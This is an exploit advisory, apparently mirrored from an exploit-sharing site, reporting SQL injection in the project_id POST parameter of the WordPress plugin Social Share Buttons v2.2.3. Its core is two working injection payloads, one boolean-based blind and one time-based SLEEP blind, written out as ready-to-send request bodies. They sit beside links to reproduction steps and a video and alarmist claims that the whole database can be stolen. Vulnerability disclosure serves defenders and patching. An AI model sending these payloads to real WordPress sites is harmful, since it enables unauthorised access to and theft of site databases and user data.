扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 |
## Title: Social-Share-Buttons v2.2.3 - SQL Injection ## Author: nu11secur1ty ## Date: 09.16.2022 ## Vendor: https://wordpress.org/ ## Software: https://downloads.wordpress.org/plugin/social-share-buttons-by-supsystic.2.2.3.zip ## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Social-Share-Buttons-2.2.3 ## Description: The <code>project_id</code> parameter from the Social Share Buttons-2.2.3 on the WordPress-6.0.2 system appears to be vulnerable to SQL injection attacks. The malicious user can dump-steal the database, from this system and he can use it for very malicious purposes. WARNING: The attacker can retrieve all-database from this system! NOTE: The users of this system are NOT protected, this SQL vulnerability is CRITICAL! STATUS: HIGH Vulnerability [+]Payload: </code><code>mysql --- Parameter: project_id (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: action=social-sharing-share&project_id=378116348' or '3724'='3724' AND 7995=7995 AND 'rQVH'='rQVH&network_id=5&post_id= Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: action=social-sharing-share&project_id=378116348' or '3724'='3724' AND (SELECT 9167 FROM (SELECT(SLEEP(5)))dQDw) AND 'KWbC'='KWbC&network_id=5&post_id= --- </code><code> ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Social-Share-Buttons-2.2.3) ## Proof and Exploit: [href](https://streamable.com/m9r76w) -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html and https://www.exploit-db.com/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/> |
体验盒子
